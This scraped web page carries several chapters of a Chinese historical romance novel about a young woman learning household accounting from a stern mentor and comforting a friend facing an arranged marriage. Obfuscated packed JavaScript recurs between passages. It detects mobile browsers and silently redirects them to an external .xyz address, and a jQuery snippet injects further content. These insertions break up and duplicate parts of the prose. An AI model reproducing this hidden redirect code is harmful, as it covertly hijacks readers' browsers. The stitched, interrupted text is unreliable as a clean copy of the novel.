d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859831|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不然什么。”阿五委屈,哽咽着一个字一个字地蹦,“不,然,明,日,加,倍,吗。” 桓晏的确是想说不然加倍练习,好生杀一杀她的娇气,结果看到她那副委屈巴巴又可怜兮兮的表情,不由得改了口,“不然休息一日,后日学管账,至于这习武嘛……” 他似在犹豫。 看到桓晏态度有所松动,阿五腾地一下起身,两只手抱住他的胳膊,恳求道:“习武讲究天赋,我实在不擅此道,还是换点儿别的吧。” 娇娇弱弱又十分恳切,泪眼蒙眬却一瞬不错地盯着他,将他的命令当作了天大的事,柔软的小手抓在他手肘处,酥酥麻麻,这样的美人谁能拒绝。 “也好。” 良久后,桓晏开口,“但适当的锻炼不可少,我会酌情减少量。” “可好。” 可好,能不好吗,阿五默默点头,能争取到这里已经尽力了,先这样吧。 回到翠竹轩,阿五已经疲累不堪,看到她一瘸一拐一副狼狈的模样,珍珠心疼得不行,“练什么了,怎么累成这样,二公子是想带姑娘去打仗吗。” 碧玉赶紧烧了热水让她沐浴,又端来凉茶消暑,还用艾草制成的棉锤帮阿五敲打放松。 面对珍珠碧玉二人一堆的问题,阿五一个字也不想说,沐浴后喝了凉茶沉沉睡去,待再醒来的时候已近酉时,珍珠端来了晚食。 “都是姑娘爱吃的,珍珠丸子、清炖鲈鱼、红烧籽排还有清炒菜心。” 碧玉拿来解痛舒缓的药膏,道:“这是昌平下午送来的,说是连累姑娘过意不去送来药膏让您涂一涂,能缓解很多。” 想起昌平,阿五心里也觉得不好意思,明明是自己心浮气躁将一腔怨气撒在他身上,他也是奉命行事何错之有。 “替我谢谢昌平,改日我亲手做一个香囊送与他,今日是我的不是。” 碧玉笑道:“姑娘真是心善,对谁都好。” 说完捧上一摞账册,“这是梁伯送过来的,说是二公子让姑娘先看看,后日要给姑娘说账。” 他竟还真懂这些,阿五有些诧异,不是个马上打天下的武夫吗。 大约是看出了她的疑惑,碧玉笑道:“奴婢和昌平都是公子捡来的命,公子心善且文武双全,三年前曾得探花,只是当时辞了封赏,转头又去考了武状元。” 珍珠在一旁惊叹,“真的,太厉害了吧。” 碧玉笑道:“千真万确,公子吃的苦比旁人多得多,会的东西也比旁人多得多,姑娘若想学什么他是个难得的好老师。” 原来如此,随手翻开一本账册,阿五看不明白,先吃饭。 或许是因为白日累很了,也或许是午食错过的原因,阿五这顿饭吃得比平日多了一倍,看得珍珠合不拢嘴,“若姑娘日日都这样吃饭,不用练武身子也会好起来的。” 这话没错,留得青山在不怕没柴烧,日后好好吃饭,还有许多事情要做呢。 比如,眼下这账册。 这一晚,柳阿五仔细翻看账册,虽看不懂里头的弯弯绕绕却也求账目熟悉,不会被问起来的时候太茫然。 点灯熬油直到子时,才打着哈欠去睡。 再不似从前,夜夜梦魇,有时梦见自己被陈塘被埋进土里,有时梦见自己被卖到妓馆任人欺凌……这一夜,阿五睡得极好。 好到连他来过都不知晓。 22. 严师 习久成性,遂不自知。 经受过严苛规训的人,在教导旁人时也会不由自主地严厉。 这便是当下柳阿五的感触。 一片古意森森的书房里,日光透过窗棂照下来,光束中可见微尘,隔着微尘,桓晏端坐在案桌后,桌上笔墨纸砚摆放整齐,一旁的卷宗纸张也被高高拢起,小叶紫檀的桌面衬得那张本就冷肃的脸越发刻板凶恶。 阿五坐在他左手的小桌上,面前同样摆着笔墨纸砚,只是同她平日用来书写抄录的香墨花纸细毫迥然不同,这是一套适合男人用的东西,粗大大大。 却不得不说,都是极好的上乘货。 “家之兴替,在礼义不在富贵;而礼义之责,多系主母。”桓晏抬眸面无表情地看着她,“可知其意。” 他这样严肃倒让柳阿五十分放心,“家族的兴衰荣辱百年基业在于礼仪,而礼仪在于主母,故而家族兴盛之则在于主母。” 阿五说完看向桓晏,发现他没有反应继续垂眸道:“主母需以身作则,孝贤勤俭为之首,正所谓清闲贞静,守节整齐,行己有耻,动静有法。孝敬公婆辅佐夫君,教导子女,恩威……” “可我并不想如此。” 阿五实在不耐烦听他讲这些跟她八竿子打不着关系的事,“我并非主母,日后……” 想说日后也会离开这里,可话到嘴边还是收住了。 “日后也会有真正的主母,而我,不过是借此机会另有所图罢了。” 小娘子一脸严肃将自己的目的说得坦坦荡荡。 她一向如此,在他面前从不遮掩自己的企图。 桓晏点头,“那你将来也会有自己的夫君和府宅,总有一日用得到。” 这不用你操心。 阿五不语,面无表情地看着他。 对面小娘子一脸不耐烦,桓晏没忍住轻笑了一下,转瞬间收敛自己的情绪,道:“好在前段时日你也有些经验,并且收效良好。” 他好似极满意地点了点头,抬手示意阿五,“记。” 阿五不动。 说什么了就让她记,自以为是。 视线相接,阿五眼神灼灼毫不回避。 桓晏清嗓道:“其一,账目分多册。” 他拿起一摞账册中最厚实的一册,“底薄记田产、房产、铺面、庄子等大额收支。” 说罢又挑出几本一样的册子,“日清簿每日记府中开销,饮食、衣物、礼尚往来,此册事无巨细,悉数记载。” 阿五点了点头,这才提笔记下。 “专簿记婚丧嫁娶、年节祭祀,也记酒浆、醯醢、盐梅等饮食开支。” 桓晏起身,从案桌后走出来,看了一眼她的蝇头小楷,皱了皱眉,继续道:“其二便是记账的规制。” “凡置簿,分‘元亨利贞’四号”,按事务急缓分类登记。”桓晏将一本账册摊开,单手挑起一张圆凳坐在柳阿五身边。 “这便是四柱清册法,此为旧管,此处为新收,此为开除,落下的便是实在,所得便为实数。” 阿五顺着他手指的地方一一看去,有些疑惑,抬头看了他一眼,桓晏灿然一笑,比了个请的手势,阿五便随便挑出一栏加加减减。 片刻后脸上露出了然的神情,笑道:“懂了。” “懂了?”桓晏的语气颇有些调笑,“管帐如此简单便只是账房。” “防弊为先,严控收支。”他徐徐道来,“说得具体一点便是定期收入,自然有管家和账房交到主母处,要一一核验,发现问题必要追究。” 阿五想起上一次二老爷狎妓,那笔支出相当于侯府半个月的花销,如此想来虽未曾当场处理却打得恰到好处。 这样的事是她存了私心的,与桓晏这个外人就没必要详述了,阿五想着顺溜地将桓晏的话记了下来。 看着小娘子若有所思的样子,而后又浅浅地露出满意的一抹笑,桓晏敛神,眼角的桃花悄悄绽放。 “至于开支,府内开支小额主母决断,数额巨大牵涉府外必要回家主定夺。” 也就是说主母管小账,真正当家的还是家主。 如今对于侯府而言便是桓晏。 阿五看向桓晏,他头顶刚好有一束光落下,将那长长的浓密羽睫上染上了细碎的金色,连带着看人时的眼神好似都温柔了许多。 “有何不妥。”冰冷的声音让阿五清醒。 什么温柔,纯纯想多了。 “没有。”阿五此时的态度谦和平静了许多,“请先生继续。” 先生,这个称呼……桓晏很喜欢。 “你还要记住,内银钱所,每日用度皆需主母画押,否则不予支取。” 这是权力,阿五点头记下。 …… 桓晏的每一句话阿五都细细记录,直到他讲到:“米贱时多囤粮,贵时粜粮换银。” 还教了她防止伪造弄虚作假骗取支出的法子,以及节俭的一些小窍门,阿五都十分虚心认真地学习。 连带着讲课答疑到示范,这第一日上课足足用了两个时辰。 午时,日头正盛,夏意浓浓。 桓晏仔细拿起柳阿五记录的笔记,看着看着眉头越蹙越紧。 “有何不妥。”阿五不明所以,踮起脚尖够着头去看自己写的东西。 “记录详尽只这字……”他想起上一次在隐世阁看到她的留书,蝇头小楷写得俊秀精致,“太小家子气。” 阿五:…… 她一直引以为豪的字还是第一次被人批评。 “女子的字大体如此。”阿五伸出手从他手中夺过自己的笔记,“我……” “所以你更应当练练其他字体。”桓晏摇头,“这种字体匠气太重不够洒脱,仿佛……” 他负手向前走了几步,倏然回头盯着她,“仿佛一个谨小慎微之人,不够通达潇洒。” “寄人篱下,如何能不谨小慎微。”柳阿五毫不示弱地反击,这里是他的家,是桓府,不是她柳阿五的地方。 “先生若无旁的吩咐,阿五先告退了。”收拾好自己的东西,阿五郑重行礼,“布置的课业我会仔细完成,晚间送来。” 还以为她会拖上几日才交,桓晏挑眉,“好。” 尾音上扬,带着不屑和质疑。 求知若渴当如是。 柳阿五并没有计较桓晏的态度,转身离去,回到翠竹轩便将今日所学铺开在桌子上,连珍珠碧玉送来的午食都是一边复习笔记一边吃饭。 看得珍珠直叨叨:“再如此下去,姑娘真的可以行军打仗了,恐怕陛下都没您忙。” 碧玉用胳膊肘捅了捅她,忍着笑道:“珍珠姊姊慎言。” 阿五抬头,笑着看她:“珍珠姊姊,这盘红烧猪肘鲜香爽滑入口即化,快来吃。” 珍珠原本拉到腰的脸一下子绽放笑容,“好嘞。” 这一日阿五兴致勃勃意气风发,许久许久没有过这种感觉了,觉得自己好像活过来一样,像地里久旱的野草汲取着养分。 都没有午歇,阿五一口气将桓晏布置的课业完成,直到晚食端上餐桌这才发现已经日落西山了。 这一日过得可真快啊。 阿五伸了个懒腰站起身走到餐桌旁用饭,到底是用脑过度,这一顿饭又吃了两大碗,吃完饭稍作休息,带上昨日闲来无事给昌平做的香囊便带着课业去找桓晏了。 夕阳余晖洒下,清风苑里一片静谧。 昌平守在门口,书房大门紧闭。 看到阿五进来,昌平接受上次的教训忙行礼,“阿五姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么会。”阿五不服,上前一步和他只隔着一张案桌对视。 “一人管钥,一人录簿,互相检视。”桓晏不疾不徐道:“方才稳妥。” “米粮油盐,每月必亲验二次。” “仆役舞弊,保举者同罚。” 这些你都没有标注。 呀,还真是忘了。 “还有,想要做好事须得先习字。”桓晏将被打回的课业还给她,“重新做,明日起每日练字两个时辰,以此为帖。” 递过来的是一本桓晏的字,阿五哑然,怎会有人如此大言不惭,拿自己的字给人当字帖。 “算是惩罚吗?”阿五不满却也知他说得没错,嚣张不起来,她习惯性翻着眼皮看着他,噘起小嘴。 桓晏绕过案桌走到她身边,一只手掐住她的后腰将人带入自己怀中,轻声在她耳边道:“你瞧那里,如此可抵罚。” 阿五顺着他的眼神看过去,大开的窗扇外一支遒劲的树枝伸入屋内,枝干深处站着两只黄色的鸟雀正在交.配。 气血上涌头皮发麻,阿五下意识后退挣脱了他大手的桎梏。 桓晏已经没用了,她才不会再同他坦诚相见,没必要。 “好,我认罚。”阿五快速收回视线,朝桓晏匆匆一礼,“这就回去领罚。” 说完不等桓晏发话转身就走。 果然,用完就跑。 望着那仓皇而逃的背影,桓晏脸上的笑容隐没在浓重的夜色里。 当晚,昌平新得的香囊还没捂热就被收在了桓晏屉中的匣子里,里面还有一些老旧掉色的珠花、头绳…… 23. 礼物 夜风骤起,白日还晴好的天气到了晚上却变了脸。 柳阿五抱紧怀里的账册迎风前行,走得困难。 衣袍发髻被湿漉漉夹杂着雨气的大风吹得散乱,然而却都不及她的心乱。 桓晏突如其来的暧昧举动实在让她有些措手不及,原本讲得好好的账册和课业,如何就想到那上头去了呢。 是,她从前为达成目的曾使过手段在他身上,可是他每次都十分被动啊,也只有在阿五使尽浑身解数百般纠缠的时候才会汹涌反扑。 他不是没感觉的吗。 难道是……食髓知味? 想起这个词阿五的脑子骤然觉得疼痛如蚂蚁啃噬,怎么办,现在她并没什么有求于他的事,所以也并不打算再跟桓晏继续从前的那种关系。 本来嘛,他们的关系就是交换而已。 头痛欲裂,真是惹了个不大不小的麻烦。 阿五摇头顶风前行告诫自己,往后同他接触要万般小心。 “阿五姑娘。” 安静的宅院内灯笼被吹灭,本就黑黢黢的花园小径上陡然传来一声呼唤,吓得阿五叫出声来,“啊。” “哟哟哟,吓着姑娘了,是老奴的不是。” 梁伯从一旁的回廊尽头赶过来,手里提着风灯放在一旁,蹲在地上帮阿五捡被吓掉一地的账册。 “梁伯。”阿五抚着急速跳动的胸口喘着粗气道:“是您啊,这么晚了您怎么还不休息。” 梁伯将账册沓好交予她,退后两步重新拿起风灯帮她照明,道:“听说姑娘去了二公子处问账册的事,老奴看变了天,担心姑娘害怕这才赶过来陪你走一程。” 梁伯看上去十分窘迫,“不想倒叫姑娘受了惊吓,真是对不住。” “无事。”阿五起身拍去衣裙上的灰尘,笑着过去搀扶梁伯,“府中有您照料安全得很,您不必担心我,往后好生睡觉便是。” 梁伯抬头看着眼前明艳如娇花一样的小娘子,笑着点点头,“老人家觉少,夜里无事也会出来巡视一圈,姑娘不必牵挂。” 二人相携往翠竹轩的方向去,阿五要接过梁伯怀里的账册,梁伯道:“这些老奴日日都拿着,习惯了,就替姑娘拿着吧。” 说完眯起眼睛问阿五,“可是二公子亲自教姑娘学管账的。” 阿五点头应是,而后讪笑道:“我实在太笨做得不好,还被他骂了一顿呢。” 梁伯怔了一下,“骂得可严厉吗?” 阿五摇头,“先生说得对做学生的挨骂才能长记性不是。” “是这个理。”梁伯仔细瞧着她的脸色发现并无不妥,这才安慰道:“二公子是个能人,姑娘好好学。” 阿五转头去看梁伯,这才后知后觉地意识到,梁伯好像是桓晏的人,不然为什么整个府邸都被他换了人,连静怡堂都没有放过,这才让阿五有了好久一段时日的清闲不用去给谢氏请安,竟然梁伯这位老管家还在。 不是他的人还能是什么,那他是什么时候将梁伯安插进来的呢,还是之后收买的…… “梁伯您老家也是江南吗?” 阿五陡然问起,梁伯似乎有些吃惊,“是,姑娘想起什么了。” 那倒没有,阿五摇头,“我也是江南人,说起来咱们还是半个老乡呢,只不过我想不起来自己的家乡究竟是何地了。” 梁伯张了张嘴,一句到嘴边的话硬是被咽了回去,忍泪道:“既是老乡,那姑娘有何难处尽管来找老奴,千万别一个人扛着。” “哎。” 阿五笑着点头应下。 暖心的一句话,驱散了桓晏带给她的那点儿阴霾。 回到翠竹轩珍珠打着哈欠准备好了热水,“姑娘赶紧沐浴休息吧。” 是要沐浴的,夜晚起风了,怪冷的。 阿五二话没说进去沐室,而后又探出个脑袋,“你去睡吧,吩咐小厨房帮我下碗面。” 珍珠惊骇,“姑娘晚间才吃了两碗饭,这会儿又饿了?” “嗯,快去吧。” 热气氤氲,被温暖包围倒真是叫人昏昏欲睡,可是一想到桓晏挑出来的错处,阿五立时清醒,绝不能被他看扁了。 沐浴出来换了一身干净舒服的衣裳,巾布包裹着长发垂在脑后,阿五吃了一碗热气腾腾的面便又开始了重新查账算账。 还不忘先将早上桓晏讲的内容笔记重新又过了一遍,这才翻开来账本一一核算。 烛火跃动,长夜漫漫。 妖风刮到半夜便停止了,紧随而来的便是倾盆大雨。 夏日的雨势急促猛烈,打在屋檐瓦砾上落在窗上发出噼里啪啦的响声,倒让阿五觉得是一种陪伴。 想想过去的十年,每一日都要到时辰就睡觉,谢氏让人看着她不允许她熬夜,现在偶尔一次通宵达旦,倒是有一种学子赶考争分夺秒的冲劲。 如果有机会能读书该多好。 阿五不是没读过书,只不过读的都是谢氏想让她读的书,而并非系统全面地研读经史子集。 她读的是顺从不是学问。 一瞬间的出神就发现原本黑漆漆的天色渐渐变成了蓝色。 天亮了。 再次仔仔细细从头到尾检查了一遍账目,阿五起身伸了个懒腰去洗漱。 珍珠碧玉端着盆进来,看到她一脸疲惫地从沐室中走出来颇为震惊。 “姑娘没睡觉吗。”珍珠担心跑过来查看,“可是哪里不舒服,怎么不叫我呢。” “没有不舒服,好得很。”阿五坐在妆奁前看着自己浓重的黑眼圈向碧玉道:“碧玉姊姊帮我画一下眉就好,不用上妆。” 她的眉本就极淡,不上些颜色实在看上去像个女鬼,尤其现在眼底还有两团乌青。 “姑娘也不敷粉上口脂吗。”碧玉很诧异。 “对,什么都不涂。”阿五十分坚定。 去见桓晏交课业就应该是这样一张素脸,丑些也无妨。 果然,桓晏见到她的时候罕见地脸上有了表情。 是震惊的表情。 阿五十分满意他的反应,以为是自己的脸吓到他了,怎么样,对着这样一张脸耍不起来流.氓了吧。 然她素面朝天的样子落在桓晏眼中却是清水出芙蓉天然去雕饰的美,即便眼底有熬夜的痕迹,也难掩美人天然纯真的气质。 她不上妆的样子去掉了拿捏出来的完美成熟韵味,反倒更显青春活力天真可爱。 这才是一个十五岁的小姑娘该有的样子。 桓晏震惊是因为她竟然一大早又跑来交作业。 有时候学生过于勤奋给到先生的压力会很大。 “我是来交课业的。”阿五站在她对面。 二人隔着案桌还差着十步的距离。 避之蛇蝎。 阿五一脸严肃眼神警惕,双手垂于身侧不自觉捏起拳头。 倒不是要准备打人,毕竟身后大门敞开着,桓晏还不至于像其他人那样不分场合地支棱起不该支棱的东西。 她只是紧张,纯纯就是学生对于老师检查课业的紧张。 桓晏不语,仔细翻看手里的账册。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859833|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一丝一毫都没有差错,实属不易,看来她已经学会了,接下来便是实战经验了。 “除了字很丑,其他勉强过关。” 幽幽清冷的声音飘过来,柳阿五松了一口气。 “今日的字继续练。”桓晏转身从书架上拿下来一摞账册交给柳阿五,“这些是京城各府宅的账册,你也拿回去看看有何问题。” “该掩掉的地方掩掉了,你不必追究是哪一家,只看账面便好。” 阿五惊讶,不可置信 京城各府宅的账册他怎么会有,还能随意拿给她练习。 “怎么,有什么问题。” “没,没问题。”阿五抱紧账册转身要走,却又被桓晏叫住。 “这枚金簪算是对于你课业努力的奖赏。” 他硬邦邦地丢过来一枚金簪,蝴蝶展翅栩栩如生,只是阿五手里有账册险些没接住,颇觉狼狈。 “我不需要……” 她下意识想要拒绝,又听桓晏道:“金簪尾端按进去会是一把锋利的尖锥,防身亦需慎重。” 原来如此,阿五当即放下账册研究起那枚金簪来,果然,尾端相接的部分有一处同簪身颜色略有不同,不细看断是看不出来的,按进去簪子头部出鞘长约手掌的纤细的尖锥。 用来防身是极好的。 阿五道谢,再不说推辞的话。 这礼物她稀罕。 * 接下来的日子过得比阿五想象中轻松。 每日早起打理好府宅琐事便可以专心研究账本,京城里的高门大户各不相同,每一家的账目也不尽相同,倒是让阿五增长了见识。 桓晏说过,一个府宅乃至一个国家看账目能发现很多问题。 阿五细心研究,午食过后小憩片刻便开始练字,偶尔做一做手工,给珍珠碧玉和昌平做一些贴身的物件缓解一下疲劳。 她做的钗镮首饰十分精细雅致,比珍宝阁的都不逊色,珍珠碧玉都十分喜欢。 最重要的是,交课业的时候也极少能够碰见桓晏,只要交给昌平就够了,因为桓晏很忙,几乎日日不在府中。 但是第二天她去的时候总会有朱笔批过的返还回来的课业和他新布置的任务。 见不到面,极好,阿五很开心。 这样轻松自在的日子过一日少一日,阿五很珍惜。 昌平说桓晏下了职便一定会去隐世阁。 看来他当真是喜欢那种地方,阿五想,如此也好,让他发泄完免得打她主意。 隐世阁。 桓晏看着眼前袁子与递过来的书信不禁皱眉,“沈氏乃凉州人。” 袁子与点头,“就是你大哥要查的那个凉州,这还不是最古怪的,他们家乡发过水灾,户籍资料都被遗失,我真是费了九牛二虎……” 袁子与懒懒散散地口沫横飞,对上桓晏投过来的凌厉的眼神,登时坐直了身子,“我托了曾经替考的考生的爹,就是凉州刺史才查到这个沈氏竟然成过亲。” “而且就在你大哥被派到凉州之前三个月。” “也就是说,短短三个月沈氏嫁了两回。”桓晏凝眉。 “也不一定嫁,或许只是跟了两个男子……” 事情同桓晏大哥桓启元有关,若真是二人苟合,牵扯的是整个侯府和桓氏的名声,也会连带了桓晏的声誉。 袁子与觎着桓晏的脸色,试探道:“可要继续……” “继续查,查到底。”桓晏抬眸,深邃的瞳仁中透出一丝意味不明的亮光,“顺便再查一下柳阿五。” 24. 可怜 初夏时节,梅黄杏肥。 阿五一早起床处理完府中事务吃过早食又核验了桓晏留下来的账目,将五日的账目课业全部检查校对一番,觉得没有问题了这才整理好放在一旁,等着下午晚一点送去清风苑。 “今日天气好,外面风凉凉的,姑娘难得清闲不如出去坐一坐。”碧玉送进来一份珍珠新做好的玉华酒酿圆。 是用新鲜的糯米与极佳的酒酿制成,阿五尝了一口,口感细腻香甜,“真好吃。” “是吧。”碧玉与有荣焉,“珍珠现在做这些点心羹糕越来越好啦,说不定哪一日都能上街去叫卖呢。” 阿五吃到停不下来还忙不迭点头,“必然大卖,不输大酒楼里的味道。” 二人正说着,珍珠打帘进门,“那姑娘和碧玉姊姊再帮我尝一尝这软酪,看看这两样哪一个更好。” 雪白微颤嫩滑饱满,看着就好吃,二人各尝了一口,阿五更喜欢玉华酒酿圆,碧玉更喜欢软酪,不分伯仲。 最后决定并列第一。 三人吃得开心聊得也开心,柳阿五兴致起来了跑去换了一身短衫绸裤,虽然上一次又是哭又是耍赖的现在不用再习武,可是简单的扎马步、习练上肢力量以及跑一跑步还是有助于强身健体的。 这样想着阿五并不排斥在自己可掌控的能力范围内稍作练习。 院子里芳香四溢鸟雀成群,落在枝头屋檐,齐齐观看红衣小娘子英姿飒爽地花拳绣腿。 “好哎。”珍珠在一旁一边吃着各式糕点羹酪一边拍手叫好,“姑娘真厉害,这几下子能干翻一群人。” “是吧,我觉得也是。”阿五毫不吝啬自吹自擂,顺杆就爬。 碧玉也道:“说真话,姑娘眼见着心情好了人也更水灵了,身段丰腴面色也越发红润细嫩了,气色好得如……” 到嘴边的话只可惜肚子里没墨水,碧玉看了一圈,指着一株盛开的睡莲道:“如这睡莲一样水灵灵娇滴滴。” 用词浅显直白了些,却是极精准地形容了柳阿五现在的样子,鲜眉亮眼,杏眼桃腮,粉嫩可爱。 三人说笑着,外头小丫头来禀报:“六姑娘过来了。” 阿五赶紧收势,擦了擦额角细小的汗珠便迎了出去。 桓含嫣说是要散心实则想要逃避谢氏为她张罗的相看,躲到外家过了几日,却终究是不能躲一辈子,在桓伯承再三催促下回来了。 二人有日子没见了,柳阿五第一眼便看出含嫣瘦了。 赶忙将人拉进来坐下,吩咐珍珠去拿点心果子。 “你是不知道这丫头现在可本事了,做出来的东西不输那些大酒楼的,你是个有口福的,这些都是今日刚做出来,快尝尝。” 小几上摆着各式各样的点心酥酪甜羹,眼花缭乱,看了就让人心情大好。 含嫣笑着捏起一枚桃花酥放入口中,香气在舌尖蔓延,“真好吃。” 杏花糕、链子羹、乳酥奶皮……一口气吃了许多,这才觉得腹内饱胀,心情也变得好起来。 “看来我日后要常来打秋风了。”桓含嫣开玩笑。 阿五点头,“欢迎欢迎,求之不得。” 看了看她脸色明显红润许多,阿五稍稍放下心来,还能爱吃说明没有很差。 桓含嫣也打开了话匣子。 “三姐姐这几日疯魔一样往府里搬东西。”她口中含着一块梅子酥,皱眉数落,“上到钗镮首饰头面,下到衣裳裙子披帛绣鞋,就连袜子都不放过,全都要换新的。” 这些事阿五日日管账自然知晓。 只是谢氏先前有话,紧着桓素娥花银子,阿五便也只能过目之后日日咋舌,那钱花出去真如流水一般。 “不止这些,还有胭脂水粉,就连胰皂浴香花球这些也都捡着最好的最贵的搬回来许多。”这是阿五的话。 聊八卦就是如此,光一个人说没意思,大家都添砖加瓦蛐蛐一下才过瘾。 “是啊,咱家虽然富足可也经不起这么造啊,你知道吗,她把先前自己用的东西全都扔给我了。” 桓含嫣一副生无可恋的样子,“不接吧显得我不识好歹,接了吧夫人肯定要算这笔账,都是些旧东西倒成了为我添置的,你说怄人不怄人。” “更何况三姐姐的那些衣裳也不适合我啊,太艳丽浮夸了,我可穿不出去。”她叹了口气,“那么好的料子,人家施舍你一般都给你,你还不能赏给下人,那是对嫡姐姐的不尊重,是以下犯上。” 她说的都是阿五知晓的,这些年在侯府庶出女儿的日子就是有苦说不出。 你还得对人感恩戴德,否则就是你不识好歹。 阿五盘算着桓含嫣这几日花出去的银子,问:“瘐家老夫人寿辰在什么时候。” 意思是赶紧让那位大小姐去参加宴会,不然永远消停不了。 桓含嫣一撇嘴,“她现在有孝在身人家根本没请她。” 啊…… 阿五怔住了。 “不过母亲定会有办法让三姐姐去的。”对于谢氏的手段桓含嫣很清楚,看着瓜果盘子里的五颜六色,挑了一颗葡萄慢慢扒皮。 “最近家里大乱子没有,可小矛盾就没断过。” 大门大户人多嘴杂,想不出麻烦安安生生过一日简直就是做梦。 “我哥跟五哥最近不知怎么了,乌眼鸡似的见面就掐。”桓含嫣对此颇为费解,“按理说我哥的性子是从不与人争长论短逞口舌之快的,也不知最近怎么了。” 她嘀咕着,“现在两个人都被爹责罚。” 让阿五想起出殡那日在那样的情况下四公子桓明之似乎是为自己说过话,五公子嘛…… “把自己的精力浪费在这种人身上,不值得。”这是阿五的总结。 含嫣点头,“我也是这样同哥哥说的,哎。” 年轻的姑娘轻轻一声叹息,可阿五知道含嫣这声叹息多半是因为自己的烦心事。 轻轻抬眸看了一眼含嫣的脸色,阿五慎重开口,“你的事……” 刚出口对方就红了眼眶。 “别哭别哭,有什么难处慢慢说,咱们一起想办法。” 阿五赶紧拿来绢帕给她擦泪。 或许是因为方才说了许多话的缘故,此时的桓含嫣倒是滔滔不绝起来。 “那是个什么人啊,贼眉鼠眼,见第一面张口就问我能有多少嫁妆,他是谁啊,难不成是我上赶子嫁他吗。” 阿五皱眉心中大惊,“他果然如此说吗。” 含嫣点头,“母亲……” 咬了咬牙小声改口道:“夫人同他交了底,他大约是觉得我非他不嫁。” 怎会这样。 阿五生气,谢氏为了自己女儿的风光,为了自己的地位竟然如此迫不及待,难道庶女就不是侯府的女儿吗,日后过得风光女婿助益岳丈家岂不是锦上添花吗,为什么非要踩踏旁人,作践人呢。 “那侯爷怎么说。”阿五问。 毕竟这种事不是谢氏一个人说了算的,侯爷若是不点头恐怕也不能成。 “父亲……”含嫣哭得更甚,“姨娘同父亲探了口风,父亲原先是不同意的,可是后来被夫人说服了,他那个人只要是能帮侯府的,能助他官运和人脉的,莫说是我,就是三姐姐他也一样愿意舍。” 这话说得透彻,看来含嫣真的是绝望了。 阿五心里难过,这样说来此事多半没有回旋的余地了。 看着眼前哭得生无可恋的桓含嫣,好好的一个姑娘,论出身论才学论长相样样出挑,可是贵为侯府的小姐又能如何,人生、婚姻乃至生命都是被拿来为父兄为家族铺路的。 可悲,可怜,可恶。 阿五握紧拳头,只觉心中一口闷气憋得难受。 “阿五,我想离开家,我们一起走吧。”桓含嫣突然冒出来这样一句话让阿五猝不及防。 她可以走,随时都能走,可是含嫣不能。 她有姨娘在侯府,有多年来积攒起来的闺中好名声,还有更好更广阔的前程。 “含嫣,还没到那一步。”阿五握着她的手劝道,“现在不过见了一面而已,什么都还没有定下来,一切就都有转换的余地。” “况且大公子刚走,虽说大夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859834|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝没有替兄长守孝三年的说法,可是打着这个名声在家里待个一年还是说得过去的。” “这一年什么都可以发生,也什么都可能改变。”阿五替他拭泪,“相信我,若是当真不可转还,我同你一起走。” 桓含嫣泪眼婆娑,重重地点头,“好。” 算是飘摇人生中彼此的一点安慰和支持吧。 日头高照,气温逐渐上升,已经晒得人微微有些冒汗了。 阿五拉着含嫣的手进屋,“今日中午就在我这里用饭,叫你尝尝珍珠的手艺。” 碧玉赶紧将点心等物搬到屋里去,一面笑道:“珍珠姊姊早就一头扎进厨房里忙活上了,方才我去了一趟,那香味真不是盖的。” 一句话逗得含嫣破涕为笑,“那我今日有口福了。” “可不是嘛……” 几人正说着门外小丫头又来禀报,“沈氏来看望姑娘。” “她怎么来了。”阿五疑惑,“这些日子沈氏住进了翠竹轩倒是安分,每日大门不出二门不迈的,今日是怎么了。 所谓伸手不打笑脸人,阿五让人把沈氏请了进来。 她一身锦衣华服满头珠翠浓妆艳抹,看得桓含嫣都愣住了。 这身打扮,不知道的还以为是戏园子里的名角儿呢。 “少夫人安好。”沈氏摇摇晃晃地行礼,“这些日子我一直在反省自己,人粗笨说话也愚蠢,惹得少夫人不高兴是我的错,今日我炖了鸡汤特地给少夫人送来,你这也怀着身子,在我们老家吃鸡汤是对孕妇最好的补品,所以就想请您大人有大量,原谅我的冒失,多多照拂。” 原来如此,阿五示意碧玉接过鸡汤。 沈月棠又打量了一下阿五的身子,笑说:“如今还不显怀,不像我。” 从她一进门阿五就注意到了她明显发福的体格和有些显怀的肚子。 “你也好好保重自己,有什么缺的尽管来找我,毕竟夫人吩咐了我自然不会苛待你。”阿五不咸不淡地回话。 那沈月棠当即眼神一亮,扭扭捏捏道:“那我就不拐弯抹角了,听说这府里人人都有月银,连那刷恭桶的阿伯都有,我想问问我是不是也应该……” 